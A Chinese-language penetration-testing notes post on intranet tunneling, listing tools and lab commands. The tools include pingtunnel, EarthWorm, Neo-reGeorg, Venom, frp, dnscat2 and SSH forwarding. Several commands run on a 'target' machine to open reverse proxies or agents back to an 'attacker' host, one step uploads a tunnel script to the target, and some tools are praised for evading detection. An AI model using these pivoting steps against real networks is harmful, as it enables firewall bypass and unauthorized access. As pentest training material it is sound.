记录内网穿透的一些知识

前置知识

内网穿透

利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。

隧道技术

隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。

隧道分类

  • 网络层隧道:ICMP等
  • 传输层隧道:TCP、UDP等
  • 应用层隧道:HTTP、DNS、SSH、RDP等

实战环境

在实战环境中,我们要考虑目标机器的出入网情况,有可能只允许ICMP出入网,抑或是只允许HTTP出网,我们需要视特定情况选择对应的隧道,选择反弹shell、代理或者端口转发,选择正向代理或者反向代理等等。

环境

目标机器:

  • Win7
  • 192.168.22.3(内)
  • 192.168.33.4(外)

攻击机器:

  • Linux
  • 192.168.44.5(外)

网络层

icmpsh

https://github.com/inquisb/icmpsh

能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用

icmptunnel

https://github.com/DhavalKapil/icmptunnel

创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

pingtunnel

https://github.com/esrrhs/pingtunnel

tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用

攻击机上:

1
2
3
# (可选)关闭系统默认的 ping
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1

目标机上:

1
2
3
4
# 转发TCP
pingtunnel.exe -type client -l 127.0.0.1:9999 -s server_ip -t server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 转发sock5
pingtunnel.exe -type client -l 127.0.0.1:9999 -s server_ip -tcp 1 -noprint 1 -nolog 1

传输层

netcat

https://eternallybored.org/misc/netcat/

网络工具中的瑞士军刀,不多介绍,linux系统一般自带

powercat

https://github.com/besimorhino/powercat

powershell版的netcat

socat

https://github.com/3ndG4me/socat

具有记录转发流的功能,方便查看转发内容,需要安装

netsh

windows系统自带的网络配置工具

lcx

https://github.com/windworst/LCX

端口转发工具

NATBypass

https://github.com/cw1997/NATBypass

一款lcx在golang下的实现,更好的跨平台,更完善的文档

iox

https://github.com/EddieIvan01/iox

端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。

缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险

应用层

EarthWorm

https://github.com/rootkiter/EarthWorm

十分方便的多级SOCKS代理,已经永久停止更新

正向连接

目标机上:

1
ew_for_Win.exe -s ssocksd -l 888

反向连接

攻击机上:

1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

目标机上:

1
ew_for_Win.exe -s rssocks -d 192.168.44.5 -e 1234

Neo-reGeorg

https://github.com/L-codes/Neo-reGeorg

重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃

攻击机上:

1
python neoreg.py generate -k 123456

上传对应的tunnel.(aspx|ashx|jsp|php)文件到目标机上

攻击机上:

1
python3 neoreg.py -k 123456 -u http://192.168.33.4/tunnel.php

venom

https://github.com/Dliv3/Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具

攻击机上:

1
./admin_linux_x64 -lport 9999

目标机上:

1
agent.exe -rhost 192.168.44.5 -rport 9999

攻击机上:

1
2
3
show
goto 1
socks 6666

ssf

https://github.com/securesocketfunneling/ssf

支持TLS隧道

正向连接

把certs文件夹和ssfd上传到目标机上

目标机上:

1
ssfd.exe ‐p 1333

攻击机上:

1
./ssfd ‐D 1222 ‐p 1333 192.168.33.4

反向连接

攻击机上:

1
./ssfd ‐p 1234

目标机上:

1
ssf.exe ‐F 12345 ‐p 1234 192.168.44.5

frp

https://github.com/fatedier/frp

支持 TCP、UDP、HTTP、HTTPS 等多种协议

攻击机上配置frps.ini

1
2
[common]
bind_port = 6666

攻击机上:

1
./frps -c frps.ini

目标及配置frpc.ini

1
2
3
4
5
6
7
[common]
server_addr = 192.168.33.4
server_port = 6666
[http_proxy]
type=tcp
remote_port=7777
plugin=socks5

目标机上:

1
frpc.exe -c frpc.ini

nps

https://github.com/ehang-io/nps

可支持任何tcp、udp上层协议,还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端

dnscat2

https://github.com/iagox86/dnscat2

不仅可以创建DNS隧道,更是C2

dnscat2-powershell

https://github.com/lukebaggett/dnscat2-powershell

dnscat2的powershell客户端

dns2tcp

https://github.com/alex-sector/dns2tcp

TCP over DNS,即通过DNS隧道转发TCP连接

iodine

https://github.com/yarrick/iodine

IPv4 over DNS,即通过DNS隧道转发IPv4数据包

reDuh

https://github.com/sensepost/reDuh

TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定

Tunna

https://github.com/SECFORCE/Tunna

TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定

ABPTTS

https://github.com/nccgroup/ABPTTS

TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp

Termite

http://rootkiter.com/Termite/

EarthWorm的升级版,已经永久停止更新

ssocks

https://github.com/54Pany/sSocks

正向和反向的socks工具,可执行文件的大小很小

s5.go

https://github.com/ring04h/s5.go

go语言编写的socks服务工具,良好的跨平台特性

bridge

https://github.com/luizluca/bridge

基于http协议的端口转发

ssh

这里分享个小技巧,如果已经连上了ssh,可以输入~C来执行ssh命令

本地端口转发:

1
-L 本地网卡地址:本地端口:目标地址:目标端口
1
2
3
4
5
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
# 或者省略本地网卡地址
ssh -CNfg -L 7777:114.114.114.114:9999 root@192.168.1.1
# ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到114.114.114.114:9999
# 即本地机器的127.0.0.1:7777可以通过192.168.1.1的ssh隧道访问远程的114.114.114.114:9999

远程端口转发:

1
-R 远程网卡地址:远程端口:目标地址:目标端口
1
2
3
4
5
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
# 或者省略远程网卡地址
ssh -CNfg -R 7777:114.114.114.114:9999 root@192.168.1.1
# ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端,再由ssh客户端转发到114.114.114.114:9999
# 即远程机器的127.0.0.1:7777可以通过192.168.1.1的ssh隧道访问本地的114.114.114.114:9999

动态端口转发:

1
-D 本地网卡地址:本地端口
1
2
3
ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址
# 即远程机器在设置127.0.0.1:7777的socks5代理后可以通过192.168.1.1的ssh隧道访问本地服务

构建ssh隧道的常用参数:

1
2
3
4
5
6
7
8
-C 压缩传输,提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发,即SOCKS代理
-p 指定ssh连接端口

参考

内网穿透的n种姿势

内网渗透之内网穿透